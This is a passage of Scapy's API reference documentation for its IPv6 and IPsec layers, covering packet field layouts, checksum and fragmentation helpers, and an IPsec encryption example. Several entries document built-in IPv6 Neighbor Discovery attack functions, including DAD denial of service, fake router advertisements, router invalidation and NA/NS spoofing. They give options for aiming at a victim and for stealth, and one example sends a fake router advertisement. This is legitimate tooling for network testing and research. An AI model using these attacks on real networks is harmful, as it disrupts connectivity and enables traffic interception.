	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |              SIG              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. MIP6OptSignature                       


MIP6OptSignature fields






	otype

	ByteEnumField

	13



	olen

	FieldLenField

	None



	sig

	StrLenField

	b''











	
x = 0

	




	
y = 0

	








	
class scapy.layers.inet6.MIP6OptUnknown(_pkt, /, *, otype=6, olen=None, odata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3094-L3109]

	Bases: _MIP6OptAlign


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *_, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3103-L3109]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      OLEN     |             ODATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MIP6OptUnknown                        


MIP6OptUnknown fields






	otype

	ByteEnumField

	6



	olen

	FieldLenField

	None



	odata

	StrLenField

	b''











	
x = 0

	




	
y = 0

	








	
scapy.layers.inet6.NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3654-L3712]

	Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3756. This is done by listening incoming NS messages sent from the
unspecified address and sending a NA reply for the target address,
leading the peer to believe that another node is also performing DAD
for that address.


	By default, the fake NA sent to create the DoS uses:
	
	as target address the target address found in received NS.


	as IPv6 source address: the target address found in received NS.


	as IPv6 destination address: the link-local solicited-node multicast
address derived from the target address in received NS.


	the mac address of the interface as source (or reply_mac, see below).


	the multicast mac address derived from the solicited node multicast
address used as IPv6 destination address.


	A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled
with the mac address used as source of the NA.








Following arguments can be used to change the behavior:


	iface: a specific interface (e.g. “eth0”) of the system on which the
	DoS should be launched. If None is provided conf.iface is used.



	mac_src_filter: a mac address (e.g “00:13:72:8c:b5:69”) to filter on.
	Only NS messages received from this source will trigger replies.
This allows limiting the effects of the DoS to a single target by
filtering on its mac address. The default value is None: the DoS
is not limited to a specific mac address.



	tgt_filter: Same as previous but for a specific target IPv6 address for
	received NS. If the target address in the NS message (not the IPv6
destination address) matches that address, then a fake reply will
be sent, i.e. the emitter will be a target of the DoS.



	reply_mac: allow specifying a specific source mac address for the reply,
	i.e. to prevent the use of the mac address of the interface. This
address will also be used in the Target Link-Layer Address option.










	
scapy.layers.inet6.NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3598-L3651]

	Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3756. This is done by listening incoming NS messages sent from the
unspecified address and sending a NS reply for the target address,
leading the peer to believe that another node is also performing DAD
for that address.


	By default, the fake NS sent to create the DoS uses:
	
	as target address the target address found in received NS.


	as IPv6 source address: the unspecified address (::).


	as IPv6 destination address: the link-local solicited-node multicast
address derived from the target address in received NS.


	the mac address of the interface as source (or reply_mac, see below).


	the multicast mac address derived from the solicited node multicast
address used as IPv6 destination address.








Following arguments can be used to change the behavior:


	iface: a specific interface (e.g. “eth0”) of the system on which the
	DoS should be launched. If None is provided conf.iface is used.



	mac_src_filter: a mac address (e.g “00:13:72:8c:b5:69”) to filter on.
	Only NS messages received from this source will trigger replies.
This allows limiting the effects of the DoS to a single target by
filtering on its mac address. The default value is None: the DoS
is not limited to a specific mac address.



	tgt_filter: Same as previous but for a specific target IPv6 address for
	received NS. If the target address in the NS message (not the IPv6
destination address) matches that address, then a fake reply will
be sent, i.e. the emitter will be a target of the DoS.



	reply_mac: allow specifying a specific source mac address for the reply,
	i.e. to prevent the use of the mac address of the interface.










	
scapy.layers.inet6.NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, ip_src_filter=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L4082-L4160]

	The purpose of this function is to send provided RA message at layer 2
(i.e. providing a packet starting with IPv6 will not work) in response
to received RS messages. In the end, the function is a simple wrapper
around sendp() that monitor the link for RS messages.

It is probably better explained with an example:

>>> ra  = Ether()/IPv6()/ICMPv6ND_RA()
>>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
>>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
>>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
>>> NDP_Attack_Fake_Router(ra, iface="eth0")
Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
...





Following arguments can be used to change the behavior:


ra: the RA message to send in response to received RS message.


	iface: a specific interface (e.g. “eth0”) of the system on which the
	DoS should be launched. If none is provided, conf.iface is
used.



	mac_src_filter: a mac address (e.g “00:13:72:8c:b5:69”) to filter on.
	Only RS messages received from this source will trigger a reply.
Note that no changes to provided RA is done which imply that if
you intend to target only the source of the RS using this option,
you will have to set the Ethernet destination address to the same
value in your RA.
The default value for this parameter is None: no filtering on the
source of RS is done.









	ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
	on. Only RS messages received from this source address will trigger
replies. Same comment as for previous argument apply: if you use
the option, you will probably want to set a specific Ethernet
destination address in the RA.










	
scapy.layers.inet6.NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, ip_src_filter=None, reply_mac=None, tgt_mac=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3960-L4079]

	The purpose of the function is to monitor incoming RA messages
sent by default routers (RA with a non-zero Router Lifetime values)
and invalidate them by immediately replying with fake RA messages
advertising a zero Router Lifetime value.

The result on receivers is that the router is immediately invalidated,
i.e. the associated entry is discarded from the default router list
and destination cache is updated to reflect the change.

By default, the function considers all RA messages with a non-zero
Router Lifetime value but provides configuration knobs to allow
filtering RA sent by specific routers (Ethernet source address).
With regard to emission, the multicast all-nodes address is used
by default but a specific target can be used, in order for the DoS to
apply only to a specific host.

More precisely, following arguments can be used to change the behavior:


	iface: a specific interface (e.g. “eth0”) of the system on which the
	DoS should be launched. If None is provided conf.iface is used.



	mac_src_filter: a mac address (e.g “00:13:72:8c:b5:69”) to filter on.
	Only RA messages received from this source will trigger replies.
If other default routers advertised their presence on the link,
their clients will not be impacted by the attack. The default
value is None: the DoS is not limited to a specific mac address.



	ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
	on. Only RA messages received from this source address will trigger
replies. If other default routers advertised their presence on the
link, their clients will not be impacted by the attack. The default
value is None: the DoS is not limited to a specific IPv6 source
address.



	reply_mac: allow specifying a specific source mac address for the reply,
	i.e. to prevent the use of the mac address of the interface.



	tgt_mac: allow limiting the effect of the DoS to a specific host,
	by sending the “invalidating RA” only to its mac address.










	
scapy.layers.inet6.NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None, router=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3715-L3850]

	The main purpose of this function is to send fake Neighbor Advertisement
messages to a victim. As the emission of unsolicited Neighbor Advertisement
is pretty pointless (from an attacker standpoint) because it will not
lead to a modification of a victim’s neighbor cache, the function send
advertisements in response to received NS (NS sent as part of the DAD,
i.e. with an unspecified address as source, are not considered).


	By default, the fake NA sent to create the DoS uses:
	
	as target address the target address found in received NS.


	as IPv6 source address: the target address


	as IPv6 destination address: the source IPv6 address of received NS
message.


	the mac address of the interface as source (or reply_mac, see below).


	the source mac address of the received NS as destination macs address
of the emitted NA.


	A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
filled with the mac address used as source of the NA.








Following arguments can be used to change the behavior:


	iface: a specific interface (e.g. “eth0”) of the system on which the
	DoS should be launched. If None is provided conf.iface is used.



	mac_src_filter: a mac address (e.g “00:13:72:8c:b5:69”) to filter on.
	Only NS messages received from this source will trigger replies.
This allows limiting the effects of the DoS to a single target by
filtering on its mac address. The default value is None: the DoS
is not limited to a specific mac address.



	tgt_filter: Same as previous but for a specific target IPv6 address for
	received NS. If the target address in the NS message (not the IPv6
destination address) matches that address, then a fake reply will
be sent, i.e. the emitter will be a target of the DoS.



	reply_mac: allow specifying a specific source mac address for the reply,
	i.e. to prevent the use of the mac address of the interface. This
address will also be used in the Target Link-Layer Address option.



	router: by the default (False) the ‘R’ flag in the NA used for the reply
	is not set. If the parameter is set to True, the ‘R’ flag in the
NA is set, advertising us as a router.





Please, keep the following in mind when using the function: for obvious
reasons (kernel space vs. Python speed), when the target of the address
resolution is on the link, the sender of the NS receives 2 NA messages
in a row, the valid one and our fake one. The second one will overwrite
the information provided by the first one, i.e. the natural latency of
Scapy helps here.

In practice, on a common Ethernet link, the emission of the NA from the
genuine target (kernel stack) usually occurs in the same millisecond as
the receipt of the NS. The NA generated by Scapy6 will usually come after
something 20+ ms. On a usual testbed for instance, this difference is
sufficient to have the first data packet sent from the victim to the
destination before it even receives our fake NA.






	
scapy.layers.inet6.NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target='2001:db8::1', dst=None, src_mac=None, dst_mac=None, loop=True, inter=1, iface=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3853-L3957]

	The main purpose of this function is to send fake Neighbor Solicitations
messages to a victim, in order to either create a new entry in its neighbor
cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated
that a node SHOULD create the entry or update an existing one (if it is not
currently performing DAD for the target of the NS). The entry’s reachability  # noqa: E501
state is set to STALE.

The two main parameters of the function are the source link-layer address
(carried by the Source Link-Layer Address option in the NS) and the
source address of the packet.

Unlike some other NDP_Attack_* function, this one is not based on a
stimulus/response model. When called, it sends the same NS packet in loop
every second (the default)

Following arguments can be used to change the format of the packets:


	src_lladdr: the MAC address used in the Source Link-Layer Address option
	included in the NS packet. This is the address that the peer should
associate in its neighbor cache with the IPv6 source address of the
packet. If None is provided, the mac address of the interface is
used.



	src: the IPv6 address used as source of the packet. If None is provided,
	an address associated with the emitting interface will be used
(based on the destination address of the packet).



	target: the target address of the NS packet. If no value is provided,
	a dummy address (2001:db8::1) is used. The value of the target
has a direct impact on the destination address of the packet if it
is not overridden. By default, the solicited-node multicast address
associated with the target is used as destination address of the
packet. Consider specifying a specific destination address if you
intend to use a target address different than the one of the victim.



	dst: The destination address of the NS. By default, the solicited node
	multicast address associated with the target address (see previous
parameter) is used if no specific value is provided. The victim
is not expected to check the destination address of the packet,
so using a multicast address like ff02::1 should work if you want
the attack to target all hosts on the link. On the contrary, if
you want to be more stealth, you should provide the target address
for this parameter in order for the packet to be sent only to the
victim.



	src_mac: the MAC address used as source of the packet. By default, this
	is the address of the interface. If you want to be more stealth,
feel free to use something else. Note that this address is not the
that the victim will use to populate its neighbor cache.



	dst_mac: The MAC address used as destination address of the packet. If
	the IPv6 destination address is multicast (all-nodes, solicited
node, …), it will be computed. If the destination address is
unicast, a neighbor solicitation will be performed to get the
associated address. If you want the attack to be stealth, you
can provide the MAC address using this parameter.



	loop: By default, this parameter is True, indicating that NS packets
	will be sent in loop, separated by ‘inter’ seconds (see below).
When set to False, a single packet is sent.



	inter: When loop parameter is True (the default), this parameter provides
	the interval in seconds used for sending NS packets.





iface: to force the sending interface.






	
class scapy.layers.inet6.NIQueryCodeField(name: str, default: int | None, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2512-L2526]

	Bases: ByteEnumField


	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2513-L2526]

	








	
class scapy.layers.inet6.NIQueryDataField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2433-L2509]

	Bases: StrField


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2499-L2509]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2486-L2497]

	




	
h2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2445-L2465]

	




	
i2h(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2437-L2443]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2467-L2484]

	








	
class scapy.layers.inet6.NIReplyDataField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2592-L2714]

	Bases: StrField


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2648-L2660]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2662-L2698]

	




	
h2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2603-L2646]

	




	
i2h(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2594-L2601]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2700-L2714]

	








	
class scapy.layers.inet6.NTPTimestampField(name: str, default: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3009-L3022]

	Bases: LongField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3010-L3022]

	








	
class scapy.layers.inet6.NonceField(name, default=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2339-L2343]

	Bases: StrFixedLenField






	
class scapy.layers.inet6.Pad1(_pkt, /, *, otype=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L746-L754]

	Bases: Packet


	
aliastypes

	




	
alignment_delta(curpos)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L750-L751]

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L753-L754]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |
+-+-+-+-+-+-+-+-+

                            Fig. Pad1                             


Pad1 fields






	otype

	_OTypeField

	0















	
class scapy.layers.inet6.PadN(_pkt, /, *, otype=1, optlen=None, optdata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L757-L768]

	Bases: Packet


	
aliastypes

	




	
alignment_delta(curpos)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L764-L765]

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L767-L768]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |     OPTLEN    |            OPTDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. PadN                             


PadN fields






	otype

	_OTypeField

	1



	optlen

	FieldLenField

	None



	optdata

	StrLenField

	b''















	
class scapy.layers.inet6.PseudoIPv6(_pkt, /, *, src='::', dst='::', uplen=None, zero=0, nh=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L583-L589]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SRC                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             UPLEN                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      ZERO                     |       NH      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. PseudoIPv6                          


PseudoIPv6 fields






	src

	IP6Field

	'::'



	dst

	IP6Field

	'::'



	uplen

	IntField

	None



	zero

	BitField  (24 bits)

	0



	nh

	ByteField

	0















	
class scapy.layers.inet6.RouterAlert(_pkt, /, *, otype=5, optlen=2, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L771-L794]

	Bases: Packet


	
aliastypes

	




	
alignment_delta(curpos)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L787-L791]

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L793-L794]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |     OPTLEN    |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RouterAlert                         


RouterAlert fields






	otype

	_OTypeField

	5



	optlen

	ByteField

	2



	value

	ShortEnumField

	None















	
class scapy.layers.inet6.RplOption(_pkt, /, *, otype=99, optlen=4, Down=0, RankError=0, ForwardError=0, unused=0, RplInstanceId=0, SenderRank=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L797-L815]

	Bases: Packet


	
aliastypes

	




	
alignment_delta(curpos)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L808-L812]

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L814-L815]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |     OPTLEN    |D|R|F|  UNUSED | RPLINSTANCEID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SENDERRANK          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RplOption                          


RplOption fields






	otype

	_OTypeField

	99



	optlen

	ByteField

	4



	Down

	BitField  (1 bit)

	0



	RankError

	BitField  (1 bit)

	0



	ForwardError

	BitField  (1 bit)

	0



	unused

	BitField  (5 bits)

	0



	RplInstanceId

	XByteField

	0



	SenderRank

	XShortField

	0















	
class scapy.layers.inet6.TracerouteResult6(res=None, name='Traceroute', stats=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3411-L3451]

	Bases: TracerouteResult


	
get_trace()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3422-L3448]

	




	
graph(ASres=<scapy.layers.inet6.AS_resolver6 object>, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3450-L3451]

	




	
show()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3414-L3420]

	








	
class scapy.layers.inet6.TruncPktLenField(name: str, default: Packet, cls: Union[Callable[[bytes], Packet], Type[Packet]]  # noqa: E501, length_from: Optional[Callable[[Packet], int]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1858-L1865]

	Bases: PacketLenField


	
i2len(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1864-L1865]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1859-L1862]

	








	
scapy.layers.inet6.computeNIGroupAddr(name)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2346-L2354]

	Compute the NI group Address. Can take a FQDN as input parameter






	
scapy.layers.inet6.defragment6(packets)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1136-L1190]

	Performs defragmentation of a list of IPv6 packets. Packets are reordered.
Crap is dropped. What lacks is completed by ‘X’ characters.






	
scapy.layers.inet6.dnsrepr2names(x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2405-L2430]

	Take as input a DNS encoded string (possibly compressed)
and returns a list of DNS names contained in it.
If provided string is already in printable format
(does not end with a null character, a one element list
is returned). Result is a list.






	
scapy.layers.inet6.fragment6(pkt, fragSize)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1193-L1290]

	Performs fragmentation of an IPv6 packet. ‘fragSize’ argument is the
expected maximum size of fragment data (MTU). The list of packets is
returned.

If packet does not contain an IPv6ExtHdrFragment class, it is added to
first IPv6 layer found. If no IPv6 layer exists packet is returned in
result list unmodified.






	
scapy.layers.inet6.getmacbyip6(ip6, chainCC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L136-L176]

	Returns the MAC address corresponding to an IPv6 address

neighborCache.get() method is used on instantiated neighbor cache.
Resolution mechanism is described in associated doc string.


	(chainCC parameter value ends up being passed to sending function
	used to perform the resolution, if needed)










	
scapy.layers.inet6.in6_chksum(nh, u, p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L649-L665]

	As Specified in RFC 2460 - 8.1 Upper-Layer Checksums

See also .in6_pseudoheader


	Parameters:

	
	nh – value of upper layer protocol


	u – upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
provided with all under layers (IPv6 and all extension headers,
for example)


	p – the payload of the upper layer provided as a string













	
scapy.layers.inet6.in6_pseudoheader(nh: int, u: IP, plen: int) → PseudoIPv6[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L592-L646]

	Build an PseudoIPv6 instance as specified in RFC 2460 8.1

This function operates by filling a pseudo header class instance
(PseudoIPv6) with:
- Next Header value
- the address of _final_ destination (if some Routing Header with non
segleft field is present in underlayer classes, last address is used.)
- the address of _real_ source (basically the source address of an
IPv6 class instance available in the underlayer or the source address
in HAO option if some Destination Option header found in underlayer
includes this option).
- the length is the length of provided payload string (‘p’)


	Parameters:

	
	nh – value of upper layer protocol


	u – upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
provided with all under layers (IPv6 and all extension headers,
for example)


	plen – the length of the upper layer and payload













	
scapy.layers.inet6.inet6_register_l3(l2, l3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L488-L492]

	Resolves the default L2 destination address when IPv6 is used.






	
scapy.layers.inet6.names2dnsrepr(x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2381-L2402]

	Take as input a list of DNS names or a single DNS name
and encode it in DNS format (with possible compression)
If a string that is already a DNS name in DNS format
is passed, it is returned unmodified. Result is a string.
!!!  At the moment, compression is not implemented  !!!






	
scapy.layers.inet6.neighsol(addr, src, iface, timeout=1, chainCC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L107-L133]

	Sends and receive an ICMPv6 Neighbor Solicitation message

This function sends an ICMPv6 Neighbor Solicitation message
to get the MAC address of the neighbor with specified IPv6 address address.

‘src’ address is used as the source IPv6 address of the message. Message
is sent on ‘iface’. The source MAC address is retrieved accordingly.

By default, timeout waiting for an answer is 1 second.

If no answer is gathered, None is returned. Else, the answer is
returned (ethernet frame).






	
scapy.layers.inet6.traceroute6(target, dport=80, minttl=1, maxttl=30, sport=<RandShort>, l4=None, timeout=2, verbose=None, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3454-L3475]

	Instant TCP traceroute using IPv6
traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.ipsec


IPsec layer

Example of use:

>>> sa = SecurityAssociation(ESP, spi=0xdeadbeef, crypt_algo='AES-CBC',
...                          crypt_key=b'sixteenbytes key')
>>> p = IP(src='1.1.1.1', dst='2.2.2.2')
>>> p /= TCP(sport=45012, dport=80)
>>> p /= Raw('testdata')
>>> p = IP(raw(p))
>>> p
<IP  version=4L ihl=5L tos=0x0 len=48 id=1 flags= frag=0L ttl=64 proto=tcp chksum=0x74c2 src=1.1.1.1 dst=2.2.2.2 options=[] |<TCP  sport=45012 dport=http seq=0 ack=0 dataofs=5L reserved=0L flags=S window=8192 chksum=0x1914 urgptr=0 options=[] |<Raw  load='testdata' |>>>  # noqa: E501
>>>
>>> e = sa.encrypt(p)
>>> e
<IP  version=4L ihl=5L tos=0x0 len=76 id=1 flags= frag=0L ttl=64 proto=esp chksum=0x747a src=1.1.1.1 dst=2.2.2.2 |<ESP  spi=0xdeadbeef seq=1 data=b'\xf8\xdb\x1e\x83[T\xab\\\xd2\x1b\xed\xd1\xe5\xc8Y\xc2\xa5d\x92\xc1\x05\x17\xa6\x92\x831\xe6\xc1]\x9a\xd6K}W\x8bFfd\xa5B*+\xde\xc8\x89\xbf{\xa9' |>>  # noqa: E501
>>>
>>> d = sa.decrypt(e)
>>> d
<IP  version=4L ihl=5L tos=0x0 len=48 id=1 flags= frag=0L ttl=64 proto=tcp chksum=0x74c2 src=1.1.1.1 dst=2.2.2.2 |<TCP  sport=45012 dport=http seq=0 ack=0 dataofs=5L reserved=0L flags=S window=8192 chksum=0x1914 urgptr=0 options=[] |<Raw  load='testdata' |>>>  # noqa: E501
>>>
>>> d == p
True







	
class scapy.layers.ipsec.AH(_pkt, /, *, nh=None, payloadlen=None, reserved=None, spi=1, seq=0, icv=None, padding=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L71-L108]

	Bases: Packet

Authentication Header

See https://tools.ietf.org/rfc/rfc4302.txt


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       NH      |   PAYLOADLEN  |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SPI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ICV              |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. AH                              


AH fields






	nh

	ByteEnumField

	None



	payloadlen

	ByteField

	None



	reserved

	ShortField

	None



	spi

	XIntField

	1



	seq

	IntField

	0



	icv

	XStrLenField

	None



	padding

	XStrLenField

	None











	
payload_guess

	Possible sublayers:
IP, IPv6










	
class scapy.layers.ipsec.AuthAlgo(name, mac, digestmod, icv_size, key_size=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L625-L746]

	Bases: object

IPsec integrity algorithm


	
check_key(key)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L646-L654]

	Check that the key length is valid.


	Parameters:

	key – a byte string










	
new_mac(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
sign(pkt, key, esn_en=False, esn=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L667-L698]

	Sign an IPsec (ESP or AH) packet with this algo.


	Parameters:

	
	pkt – a packet that contains a valid encrypted ESP or AH layer


	key – the authentication key, a byte string


	esn_en – extended sequence number enable which allows to use
64-bit sequence number instead of 32-bit


	esn – extended sequence number (32 MSB)






	Returns:

	the signed packet










	
